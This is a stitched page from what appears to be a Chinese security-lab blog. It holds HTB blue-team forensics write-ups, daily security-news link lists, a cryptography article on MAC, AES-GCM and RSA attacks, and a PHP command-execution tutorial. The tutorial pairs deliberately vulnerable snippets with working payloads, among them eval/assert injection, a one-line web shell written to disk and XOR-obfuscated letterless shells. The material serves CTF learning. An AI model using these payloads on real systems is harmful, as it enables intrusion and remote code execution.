HTB-蓝队入门(上)
前言
HTB是大三时期一直想氪的一个平台,比较适合做一个方向上的深入学习。可惜大学生太穷了,只能工作后找个小伙伴AA,勉强付起这个昂贵的VIP。蓝队系列是我第一个开始学习(复习)的模块,需要好好记录下~也给想练HTB,但英语不好的同学一点帮助。
Chase-easy
简介:One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up?
大概翻译就是:我们的一台web服务器触发了AV警告,但没有一个管理员表示他们曾经登陆过。在关闭服务器以克隆磁盘之前,我们已经进行了网络捕获。让我看看PCAP的数据包,究竟被黑客打到了什么程度。
题目是给到的一个数据包,不得不吐槽的就是找了半天密码,原来就写我脸上了。。
压缩包解压之后是一个PCAP的文件,拿到包前先statistics-》Capture File Properties看下数据包大小、截取时间、操作系统等等基本信息,如果单纯是CTF的话帮助或许不大,但是在蓝军视角,获取更多的数据会更有助于我们定位问题。
数据包基本上是22.22.22.7与22.22.22.5通信,且量不大,很容易看到5号机器通过一个HTTP GET请求获取7号机器上的nc64.exe。
作为一个完整的攻击事件来说,这个显然不是入口。作为一般的应急响应事件来说,捕获到攻击情报的时候,很有可能已经达到内网,所以很有可能七号机器在此之前已经沦陷了,我们只能通过反推的方式去一层层的寻找最初的脆弱点(此题7号机不需要我们做溯源)。尝试筛选一下HTTP的请求,使用follow对HTTP流进行追踪。
很清晰的还原出7号机器通过5号机器的一个上传点,实现了文件上传漏洞,上传后的文件为/cmd.aspx,并且通过远程命令执行的方式,从7号机器获取nc64.exe,进而执行持久化控制。
从上面对5号机器进行的命令执行中,可以看到到反弹shell的端口在七号机的4444端口,所以我们可以通过tcp.port == 4444的方式,查看七号机器远程执行了什么命令。
前面“象征性”执行了whoami、ipconfig,到这步又从7号机拉取了一个名字很长的文件,感觉很可疑,就看一下吧,这里用过滤字符串的功能进行查看,提示“Hey there”,应该是Flag无误了。
Event Horizon
简介:Our CEO's computer was compromised in a phishing attack. The attackers took care to clear the PowerShell logs, so we don't know what they executed. Can you help us?
大致翻译:我们CEO的电脑在一次网络钓鱼中被攻击。攻击者小心地清理PowerShell日志,所以我们不知道他们执行了什么。大佬帮帮我们。
考点在于日志分析,题目给到的日志文件就高达323个
这里用的日志分析工具是Event Log Explorer,图形界面看起来非常的清晰。日志分析中排查优先级最高的,不出意外应该是powershell,但Windows Powershell的日志已经被攻击者删掉了。排序了下文件大小,发现还有个"Microsoft-Windows-PowerShell%4Operational",该日志会记录攻击者执行的Powershell命令都记录下来,把该日志放到工具里进行查看,在执行的第一个脚本注释处找到flag。
关于PowerShell5.0新功能的更多描述可以看这里:https://docs.microsoft.com/zh-tw/powershell/scripting/windows-powershell/whats-new/what-s-new-in-windows-powershell-50?view=powershell-7.2
Export
简介:We spotted a suspicious connection to one of our servers, and immediately took a memory dump. Can you figure out what the attackers were up to?
大概翻译:我们发现一个可疑的连接在我们的服务器上,并且很快进行内存存储,你能发现攻击者在干嘛吗?
题目是给的一个Raw文件,众所周知常见的内存文件格式有dmp、raw、img等等,既然跟内存文件有关就离不开做内存取证。这里推荐一个开源的内存取证框架 https://github.com/volatilityfoundation/volatility,以及对新手非常友好的autovolatility:https://github.com/carlospolop/autoVolatility 前者可以对数十个接口进行内存取证,后者可以批量将所有的接口进行取证并输出文件到本地。
跑完上述命令,可以获取到进程列表、事件日志、设备树、剪贴板内容、命令行等等信息
题目提到可疑链接,第一反应就是去看cmdline和cmdscan,前者显示进程的命令行参数,后者显示命令行的历史记录。在cmdscan文件里找到攻击者曾经执行过的一段Powershell无文件落地攻击
链接过一下URL的解码,ps1文件的名称感觉有点像flag了,再过一下Base64解密拿到flag。
Insider
简介:A potential insider threat has been reported, and we need to find out what they accessed. Can you help?
大概翻译:一个潜在的威胁被爆出,我们需要知道他们访问了什么,你能帮忙吗?
给到的是客户端上火狐浏览器的一些文件,尝试查一下如何读取火狐浏览器配置文件,寄了。。全网无资料。国外的师傅提到了一款工具 firefox_decrypt ,地址:https://github.com/unode/firefox_decrypt 。可以从Mozilla配置文件中提取密码,这种方法倒是很适合红队的同学在拿到靶标后使用,后面就是抄作业的过程:
好了作业抄完,再回顾下firefox_decrypt工具大概的实现原理,我们的用户记住密码后,数据一般都是放在本地,如果没有主密码的保护,这些密码应该是可以暴露出来的,所以firefox_decrypt就是对没有正确配置的本地密码进行读取(没理解错的话)。
Intel
简介:It seems a huge trove of credit card details is being sold by a group going by the name flinchsec. Can you find any sites or artefacts associated with this group that we can use to detect them?
大概翻译:看起来有一个叫 flinchsec的团伙正在售卖大量的信用卡详细信息,你能找到任何与这个团队关联的网站或文件,以至于我们可以使用来检测他们吗?
一道社工类型的题目。给的信息不多,我们只知道团队名叫flinchsec,谷歌搜索一下,在领英找到了这个团队
但是点击公司网站,返回了500,说明网站已经下掉了。但是如果我还想看到的话怎么办呢,想到了类似于网页快照之类的应用,百度查了一下有相关的实现:Wayback machine。并且在页面上看到有一个github的链接
到Releases下载文件后,strings命令看下程序里有没有flag的明文字符,结果失败了。后面看了大佬发的WP,竟然要用VT去查,脑洞太大了。。。
实验推荐
实验:内存镜像取证 https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>
网络安全日报 2022年03月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、QNAP 设备成为新一波 DeadBolt 勒索软件攻击的目标
https://www.securityweek.com/qnap-devices-targeted-new-wave-deadbolt-ransomware-attacks 2、戴尔修补了笔记本电脑中高危UEFI 漏洞
https://www.securityweek.com/high-severity-uefi-vulnerabilities-patched-dell-enterprise-laptops 3、三个严重的 RCE 漏洞陷影响数百款 HP 打印机型号
https://securityaffairs.co/wordpress/129362/hacking/hp-printer-critical-rce.html 4、Lapsus$ 勒索团伙声称从 Okta 窃取了敏感数据
https://securityaffairs.co/wordpress/129343/data-breach/lapsus-gang-claims-okta-hack.html 5、希腊公共邮政服务因勒索软件攻击而中断
https://www.bleepingcomputer.com/news/security/greeces-public-postal-service-offline-due-to-ransomware-attack/ 6、BitRAT 恶意软件通过 Windows 10 激活器下载传播
https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/ 7、匿名者宣布入侵雀巢并泄露了 10 GB 的敏感数据
https://securityaffairs.co/wordpress/129382/hacktivism/anonymous-hacked-nestle-leaked-data.html 8、加密金融机构BlockFi数据泄露影响客户数据
https://cointelegraph.com/news/blockfi-confirms-unauthorized-access-to-client-data-hosted-on-hubspot 9、暴露的数据库泄露了印度CISF人员的个人信息
https://techcrunch.com/2022/03/18/india-cisf-security-data-exposed/ 10、Rust发布更新修复了一个ReDoS漏洞
https://portswigger.net/daily-swig/rust-patches-sneaky-redos-bug
网络安全日报 2022年03月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、乌安全研究人员泄露了较新的 Conti 勒索软件源代码
https://www.securityweek.com/ukrainian-security-researcher-leaks-newer-conti-ransomware-source-code 2、意大利数据隐私监管机构调查卡巴斯基杀毒软件
https://www.securityweek.com/italy-investigates-russias-kaspersky-antivirus-software 3、Lapsus$ 团伙声称入侵了微软源代码存储库
https://securityaffairs.co/wordpress/129312/cyber-crime/lapsus-gang-claims-microsoft-hack.html 4、DirtyMoe僵尸网络使用类似蠕虫的技术进行传播
https://securityaffairs.co/wordpress/129286/malware/dirtymoe-modules-worm-like-techniques.html 5、新的浏览器中浏览器 (BITB) 攻击用于网络钓鱼几乎无法检测到
https://thehackernews.com/2022/03/new-browser-in-browser-bitb-attack.html 6、欧盟和美国机构警告俄可能会攻击卫星通信网络
https://www.freebuf.com/articles/325542.html 7、 2021 年英国的 NFT 诈骗案飙升 400%
https://www.infosecurity-magazine.com/news/nft-fraud-uk-soars-400-2021/ 8、俄管道巨头 Transneft 遭攻击,79GB数据泄露
https://www.cnbeta.com/articles/tech/1248347.htm 9、新后门通过开源软件包安装程序针对法国实体公司
https://thehackernews.com/2022/03/new-backdoor-targets-french-entities.html 10、TransUnion南非公司因弱密码被黑,南非公民征信数据全泄露
https://www.secrss.com/articles/40484
PHP命令执行集锦
前言
代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下
命令执行函数
E.g.1
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = "$_GET[d]";
$array[0] =$b;
$c = array_map($a,$array);
?>
传入参数c和d,array_map函数作用将$a作为函数,$array作为参数,构造paylaod
?c=assert&d=system(%27ls%27);
E.g.2
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = create_function('',$a);
$b();
?>
create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
$b = create_function('',$a);
这里$a为函数,' '为参数
那么可以看作为
function lambda(){
• echo ' ' ;
}
传入payload
b= ;}phpinfo();/*
在function函数中即
function lambda(){
echo ' ' ;}phpinfo();/*
}
后面的内容注释掉了,即执行命令
E.g.3
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[d]";
$b='print'.$a.';';
$f = create_function('$a',$b);
$f($a)
跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:
d=1;}system(%27ls%27);/*
一致。
E.g.4
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
assert($a);
?>
没什么特别之处,assert直接作为函数执行,payload:
?b=system(%27ls;%27)
E.g.5
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = "$_GET[c]";
call_user_func($a,$b);
?>
call_user_func()函数的特点,知道后面的后面的$b为参数,前面的$a为函数即可
payload:
?b=system&c=whoami
E.g.6
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = array($_GET['c']);
call_user_func_array($a,$b);
?>
payload:
?b=assert&c=system(%27whoami%27);
E.g.7
<?php
error_reporting(0);
show_source(__FILE__);
$_GET['a']($_GET['b']);
?>
传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
?a=assert&b=system(%27ls%27)
E.g.8
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
eval($a);
?>
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
?b=system("ls");
E.g.9
<?php
show_source(__FILE__);
echo "<br>";
echo '请输入一个a的值';
echo "<br>";
error_reporting(0);
$price = $_GET['a'];
$code = 'echo $name. '.'的美元价格是' .$price.'; ';
$b = create_function('$name',$code);
$b('iphone');
?>
基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再$code的位置
payload:
?a=1;}system(%27ls%27);/*
E.g.10
<?php
show_source(__FILE__);
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$database = array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
usort($database,create_function('$a,$b',$sort_function));
?>
属于加强版本,$sort_function的内容进行闭合,也就是sort_by的参数值要实现闭合,构造payload:
?sort_by=%27"]);}system(%27whoami%27);/*
E.g.11
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>
虽然加了正则,但是并没有什么卵用,假把式,payload:
?c=system(%27ls%27);
E.g.12
<?php
show_source(__FILE__);
$commandExecution = "echo ";
echo "<br>";
system($commandExecution.$_GET['a']);
echo "<br>";
?>
payload
?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php
一句话木马写入2.php
也有其它解法直接进行命令执行。
E.g.13
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
exec($a,$b);
var_dump($b);
?
exec()函数直接执行命令,那么payload
?c=whoami
E.g.14
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo shell_exec($a);
?
函数的特性shell_exec
?c=ls>2.txt
然后执行
?c=cat 2.txt
此时
E.g.15
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
echo `$a`;
?>
看到echo以及传入的字符串,方法类似于上面的一道
?c=cat%20flag.php>3.txt
直接访问3.txt即可,或者
?c=cat%203.txt
E.g.16
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
passthru($a);
?>
payload:
?c=cat%20flag.php
E.g.17
<?php
error_reporting(0);
show_source(__FILE__);
$cmd=$_GET['c'];
$fd = popen($cmd, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>
payload
?c=cat%20flag.php
E.g.18
<?php
error_reporting(0);
show_source(__FILE__);
$command=$_GET['c'];
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
payload
?c=cat%20flag.php
E.g.19 无字母shell
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){ //检测字符长度
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
die("NO.");
}
@eval($code); //$code的值要为非字母和数字
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
<?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?>
no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下
function getflag(){
xxxxxxxxxxxxxxxx
}
@eval($code);
函数的调用就是类似于上面的过程,那么eval在执行的过程中$code并不能直接执行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且需要调用getFlag()方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:
?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag
或者
?code=$="`{{{"^"?<>/";${$}$%7B$_%7D%5B__%5D;&_=getFlag
这里
//_GET 的变形无字母shell
$_="`{{{"^"?<>/";
小结
大佬请绕路,如有错误欢迎师傅们指出。
实验推荐
实验:PHP命令注入攻击 https://www.yijinglab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1>>
密码学的安全性浅析3
前言
本文是本系列的第三篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。
MAC
MAC是指消息认证码(带密钥的Hash函数),是密码学中通信实体双方使用的一种验证机制,保证消息数据完整性的一种工具。构造方法由M.Bellare提出,安全性依赖于Hash函数,故也称带密钥的Hash函数。消息认证码是基于密钥和消息摘要所获得的一个值,可用于数据源发送方认证和完整性校验。MAC一般不会从头设计,而是从已有的哈希函数改造而来,比如加前缀、后缀或其他方法。
加前缀
加前缀时,返回的是Hash(K||M),从而将普通的哈希函数转为带密钥的哈希函数,其容易受到长度扩展攻击、碰撞攻击。
长度扩展攻击
长度扩展攻击我们之前已经提过,在这种攻击场景下,攻击者可以在不知道M1和K的基础上,仅通过Hash(K||M1)就可以计算出Hash(K||M1||M2),相当于攻击者可以伪造有效的MAC标签。
碰撞攻击
此处的碰撞攻击是由于密钥长度不同导致的。如果密钥K1是24比特的16进制字符串abcdef,消息M1是12,则返回的是Hash(abcded12),如果密钥K2是abcd,消息M2是ef12,则返回的也是Hash(abcded12),这就发生了碰撞
加后缀
加后缀的方法返回的是Hash(M||K),此时可以抵御长度扩展攻击,但是还是会存在碰撞的问题。
设有两个消息M1,M2,存在碰撞Hash(M1)=Hash(M2),比如在SHA-256中,此时就会存在Hash(M1||K)=Hash(M2||K)
换言之,攻击者通过如下流程即可发动攻击:
1.找到两个碰撞的消息M1,M2
2.请求受害者计算M1哈希的MAC标签Hash(M1||K)
3.猜测相同的Hash(M2||K),从而伪造一个有效的标签并破坏MAC的安全性
HMAC
HMAC,即散列消息认证码(Hash-based message authentication code),是一种通过特别计算方式之后产生的消息认证码(MAC),使用密码散列函数,同时结合一个加密密钥。它可以用来保证资料的完整性,同时可以用来作某个消息的身份验证。
HMAC从哈希函数构造MAC,这比前面两种方案都安全,IPSec,SSH,TLS等都使用了HMAC
CMAC
CMAC,Cipher-based Message Authentication Code,它是一种基于分组密码的消息认证码算法是基于密码的MAC,只提供一个分组密码如AES,就可以构造MAC。
CBC-MAC是最早的CMAC,其用CBC模式对全0初始值IV下的消息M进行加密,并只保留最后一组密文作为消息M的标签.基本的计算过程就是分别计算C1=E(K,M1),C2=E(K,M2⊗C1),C3=E(K,M3⊗C2)...对M的每个分组只保留最后的Ci,这就是经过CBC-MAC的M的标签。
其容易被攻击者构造出新的消息-标签对。攻击流程如下
设存在两个不同的消息M1,M2,对应的标签分别为T1=E(K,M1),T2=E(K,M2),攻击者由此可以构造出新的消息-标签对,即消息M1||(M2⊗T1)的标签为T2,推导过程如下:
要对M1||(M2⊗T1)生成标签,则先要计算C1=E(K,M1)=T1,然后计算C2=E(K,(M2⊗T1)⊗T1))=E(K,M2)=T2
由此,攻击者就从两个消息-标签对,且不知道密钥的情况下构造出了新的消息-标签对,这意味着攻击者可以伪造CBC-MAC的标签,所以CBC-MAC并不安全
AE
AE,Authenticated encryption,即认证加密,这既能实现消息的保密,又能保护消息的真实性,即实现认证。所以一个AE算法既有密码算法的特性又有MAC的特性。要实现AE,如下图所示有三种方式:
同时加密和MAC(Encrypt-and-MAC,E&M)
发送方:给定明文P,计算得到密文C=E(K1,P),同时计算得到认证标签T=MAC(K2,P),发送C,T
接收方:计算P=D(K1,C)得到P,然后用这个P计算MAC(K2,P),将结果与收到的T比较。如果C或T损坏,认证都会失败。
这个方案理论上是最不安全的。即使用的是安全的MAC,也有可能从中泄露明文P的信息,因为MAC仅用于确保不可伪造,不能确保随机。除非用的MAC非常强大,比如伪随机函数等。
SSH使用的就是这种方案,其用的MAC是HMAC-SHA-256,保证了不会泄露P的信息
先MAC再加密(MAC-then-Encrypt,MtE)
发送方:首先计算T=MAC(K2,P)来保护消息P,然后加密得到C=E(K1,P||T),这里将明文和标签一起加密,得到密文。发送方发送C
接收方:解密C,即P||T=D(K1,C)得到P||T,然后通过得到的明文P计算标签MAC(K2,P),并与得到的T比较,如果符合,则认证成功。
这种方式隐藏了明文的认证标签,从而防止标签泄露明文中的认证信息。
在TLS1.3之前,都是使用该方案。
先加密再MAC(Encrypt-then-MAC,EtM)
发送方:首先加密得到密文C=E(K1,P),然后计算认证标签T=MAC(K2,C),将其发送
接收方:使用MAC(K2,C)计算结果与收到的T比较,若相符,则再计算P=D(K1,C),得到明文。
这个方案的优势在于:1.接收方只需要计算MAC就可知道信息是否损坏,如果损坏就不需要进一步解密了;2.对于攻击者而言,除非能破解MAC,否则不能同时将C和T发送给接收方获得解密结果,这使得攻击者更难向接收方发送恶意数据
所以这种方案是三者之间最安全的,IPSec使用了方案
AES-GCM
除了如上三种,组成起来实现,也有专门的认证加密算法,其可以表示为
加密:AE(K,P)=(C,T),K是密钥,P是明文,C是密文,T是身份认证标签
解密:AD(K,C,T)=P,如果C,T至少有一个无效,则AD会返回错误,而如果返回明文,则可以确保这个明文是被用正确密钥加密过的明文。
从认证角度看,其功能与MAC一样,这意味着想要伪造AD能接收并解密的密文和标记对(C,T)是不可能的
从加密角度看,认证加密比普通密码算法更安全,因为它只有在标签有效的情况下才会用密钥进行解密。这可以防止选择密文攻击。
认证加密算法中目前唯一被承认的正式标准就是AES-GCM,其基于AES算法,采用Galois计数器模式(GCM)实施。其示意图如下
GCM本质上是对CTR模式的改进,集成了一个小组件计算身份认证标签,其示意如下
AES-GCM容易受到攻击,包括nonce重放攻击以及由弱哈希密钥、短标签等引发的攻击。
nonce重放攻击
这是AES-GCM最大的漏洞。如果用户在两次AES-GCM中使用相同的nonce N,攻击者就可以获得身份认证密钥H,继而可以使用H为任何密文、关联数据伪造标签。
其基本代数结构如下
标签T通过下式计算得到:
上式中的GHASH是一个通用哈希函数,其输入输出线性相关
此时如果有用相同nonce计算得到的两个标签T1,T2,将其异或可以得到
可以看到,此时AES的部分就消去了
然后利用GHASH的线性特性,攻击者就可以确定H,从而拿到身份认证密钥
弱哈希密钥
GHASH存在重大缺陷,哈希密钥H的某些取值大大简化了对GCM认证机制的攻击,概括来说,如果H的取值属于某个特定的数学上定义的子群中时,攻击者可以通过仅仅对前一条消息分组进行变换从而猜测出某个消息的身份认证标签T。
GHASH的内部结构我们这里略去,直接到最后一步,此时有
GHASH将消息的长度与Xn异或,将结果乘以H,然后将这个值与AES(K,N||0)异或,从而得到身份认证标签T
这里的漏洞在于,如果H=0,则不论Ci为何值都有Xn=0,与消息无关。这意味着,如果H=0,那么所有的消息都会具有相同的身份认证标签;而如果H=1,那么标签实际上只是密文分组的异或,这样会导致重新排序的密文分组会有相同的身份认证标签。
当然,除了H=0,H=1之外,当H取其他值时也会发生异常情况。例如基于5阶循环群的例子,设H=10d04d25f93556e69f58ce2f8d035a4,这是一个属于长度为5的循环的,H的取值满足H^5=H,那么对任何5的倍数e,都有
H^e=H
那么在前面的Xn的表达式中,交换分组Cn(和H相乘)和分组Cn-4(和H^5相乘)不会改变身份认证标签,这实际上就相当于伪造了。即,攻击者可在不知道密钥的情况下,利用这个属性构造新的消息及其有效认证标签。
更详细的分析可以阅读论文《Cycling Attacks on GCM, GHASH and Other Polynomial MACs and Hashes》
短标签
实际中AES-GCM通常返回128比特的标签,不过它可以生成任意长度的标签,但是长度越小,被伪造的可能性越高。
使用128比特长度时,伪造成功的概率为1/2^128;但是,由于GCM结构内在缺陷,当长度较短时,伪造的概率要大于
1/2^n
比如如果长度为32比特,则成功伪造的概率为1/2^16而不是我们以为的
1/2^32
根据Ferguson的论文指出,对于n比特标签,成功伪造概率为2^m/
2^n
其中2^m是攻击者能够获得的对应标签的最长消息的分组数目。
举个例子,如果使用48比特的标签去处理4GB的消息(2^28个块),
那么能够伪造的概率为2^20,这在密码学中是一个很高的概率了。
更详细的分析可以阅读论文《AuthenticationweaknessesinGCM》
RSA
RSA加密算法是一种非对称加密算法,在公开密钥加密和电子商业中被广泛使用。RSA是由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)在1977年一起提出的.RSA的工作原理就是创建一个被称为陷门置换的数学对象。陷门置换描述的是符合下述性质的函数:
将数字x变换为同一范围内的数字y,除非知道私钥,否则不能从y计算得到x,这个私钥就称为陷门.
陷门置换
陷门置换是RSA的核心。给定模数n和公开指数e,RSA陷门置换将群Zn中的数x通过y= x^e mod n变换为群Zn中的另一个数y。
在加密时,n和e就是RSA的公钥
为了能够从y计算出x,则需要另一个数d,通过如下计算得到x
d就是陷门,也是RSA私钥的一部分,d也被称为秘密指数
d并不能任意取值,其必须满足
这样才能得到
这里需要注意,我们用的是模φ(n)而不是模n
φ(n)=(p-1)(q-1),这个数对RSA的安全性至关重要,如果攻击者能从模数n中求出φ(n),就等价于破解了RSA。这是因为如果知道φ(n),在计算e模φ(n)的逆,就可以得到d。为此,p和q也应该保密,因为φ(n)可以由其计算得到
整个RSA的安全级别取决于n的大小、p与q的选择、陷门置换的应用;如果n太小,则容易对其分解,从而泄露私钥;如果p与q太小或者太接近,则容易从n中确定出相应取值;陷门置换不应该被直接用于签名或加密
陷门置换的误用
在教科书中的RSA介绍中,通常会看到误用陷门置换的情况,其被直接用于加密或者签名了。即,RSA中的明文只是要加密的消息。这看起来没问题,实际上存在很大的风险。
加密
这种教科书式的RSA加密是确定性的,即对同一明文加密两次,得到的密文是相同的。除此之外,更大的问题是,当给定两个密文y1=x1^e mod n和
y2=x2^e mod n时,攻击者可以通过将其相乘,得到明文x1xx2的密文:
这个结果就是消息x1xx2 mod n对应的密文,这意味着,攻击者可以从两个RSA密文中构造出新的有效密文。这种弱点我们称之为扩展性风险(安全的密码应该确保只有在知道x1,x2时才能得到两者相乘的密文,如果只知道y1,y2是不能够得到的)
为了使RSA不可扩展,提出了OAEP,其中密文由待加密消息和一些padding组成,他们一起组成了RSA-OAEP。
OAEP的示意图如下
图中, n是RSA模数的位数,k0和k1是协议中的固定整数。m是n-k0-k1位长的明文消息,G和H是随机预言,如加密散列函数,⊕是异或运算。
编码过程包括如下步骤:
用 k1 位长的 0 将消息填充至 n - k0 位的长度。
随机生成 k0 位长的串 r
用 G 将k0 位长的 r 扩展至 n - k0 位长。
X = m00...0 ⊕ G(r)
H 将 n - k0 位长的 X 缩短至 k0 位长。
Y = r ⊕ H(X)
输出为 X || Y,在图中 X 为最左边的块,Y 位最右边的块。
随后可以使用 RSA 加密编码的消息
解码过程包括如下步骤:
恢复随机串 r 为 Y⊕H(X)
恢复消息 m00...0 为 X ⊕ G(r)
签名
教科书中的RSA签名同样是简化过的,通过直接计算y = x^d mod n对消息x进行签名。这虽然简单,便于初学者理解,但是其存在签名被伪造的风险。
举个最简单的例子,因为有
0^d mod n=0
1^d mod n=1
(n-1)^d mod n = n-1
那么攻击者一直可以在不知道d的情况下伪造0,1,n-1的签名
更严重的攻击手段我们称之为盲签名攻击,即消息M不会被受害者主动签名,但是攻击者可以让M被受害者签名。攻击流程如下
1.攻击者找到某个值R,R^eM mod n是受害者会签名的一条信息,此时得到的签名记做S=(R^eM)^d mod n,现在的问题就是攻击者怎样能得到M的签名,即M^d
2.推导如下
且
所以有
S=(ReM)^d
RM^d
为了得到M^d,将S除R即可
为了避免这种攻击,提出了RSA概率签名方案PSS,PSS之于RSA签名等同于OAEP之于RSA加密,它能让签名更安全,其流程比较复杂,基本示意图如下
此外还有更简单的签名方案,即FDH,全域哈希。
Bellcore攻击
Bellcore攻击属于错误攻击的一种,其迫使算法的一部分执行不当,产生错误的结果,将其与正确结果相比较,从而获得关于算法内部值的信息。
Bellcore适用于使用中国剩余定理的确定性的RSA签名方案。
由相关基础知识,我们有
其中
假设攻击者在就按xq时产生错误,得到错误值xq’,继续使用xq‘并得到相应的x’。那么攻击者现在就可以计算正确的签名x和错误的签名x‘的差,并由此分解模数n:
由上式,x-x'是p的倍数,即p是x-x'的除数,由于p也是n的除数,所以n和x-x'的最大公约数是p,即
然后就可以计算出q=n/p以及d,从而破解RSA签名
共享模数n
我们直接举个例子。
设攻击者的私钥为(n,d1),受害者的私钥为(n,d2),受害者公钥为(n,e2),此时攻击者知道n,不知道p和q,所以不能从公开指数e2计算秘密指数d2。那么怎么从d中计算出p和q呢?
我们知道d和e满足
虽然我们不知道d或φ(n),但是我们可以计算出kφ(n)=ed-1
根据欧拉定理,对于任何一个与n互素的数a,有a^(φ(n))=1 mod n,所以,对模数n,有下式:
由于kφ(n)是偶数,所以可以写成2^st,所以可以把
写成如下形式
式子中的x可以通过kφ(n)计算得到
x^2-1=(x-1)(x+1),这意味
x^2-1可以被n整除,即x-1或x+1二者必有其一与n有相同的因数,从而可以算出n的因数,从而攻破RSA。
参考
1.https://link.springer.com/content/pdf/10.1007%2F0-387-34805-0_39.pdf
2.《foundations of cryptography》
3.https://link.springer.com/chapter/10.1007/3-540-68697-5_1
4.https://eprint.iacr.org/2006/043.pdf
5.https://link.springer.com/chapter/10.1007/978-3-540-74143-5_2
6.https://www.cs.ucdavis.edu/~rogaway/papers/ae.pdf
7.https://link.springer.com/chapter/10.1007/978-3-642-34047-5_13
8.https://csrc.nist.gov/CSRC/media/Projects/Block-Cipher-Techniques/documents/BCM/Comments/CWC-GCM/Ferguson2.pdf
9.https://competitions.cr.yp.to/caesar.html
10.https://www.sciencedirect.com/science/article/abs/pii/S1574013715300290
网络安全日报 2022年03月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、黑客使用新的 Unix Rootkit 攻击银行网络从 ATM 机中窃取资金
https://thehackernews.com/2022/03/hackers-target-bank-networks-with-new.html 2、Sandworm APT 使用 Cyclops Blink 僵尸网络针对华硕路由器
https://threatpost.com/sandworm-asus-routers-cyclops-blink-botnet/178986/ 3、ISC发布更新修补BIND 服务器中的多个高危漏洞
https://www.securityweek.com/high-severity-vulnerabilities-patched-bind-server 4、Avoslocker 勒索软件团伙以美国关键基础设施为目标
https://securityaffairs.co/wordpress/129232/cyber-crime/avoslocker-ransomware-us-critical-infrastructure.html 5、DarkHotel APT钓鱼活动针对豪华酒店盗取客人数据
https://threatpost.com/darkhotel-apt-wynn-macao-hotels/178989/ 6、Emsisoft 为 Diavol 勒索软件的受害者发布了免费解密器
https://securityaffairs.co/wordpress/129211/malware/emsisoft-releases-free-decryptor-for-the-victims-of-the-diavol-ransomware.html 7、Trickbot在C2基础架构中使用MikroTik设备
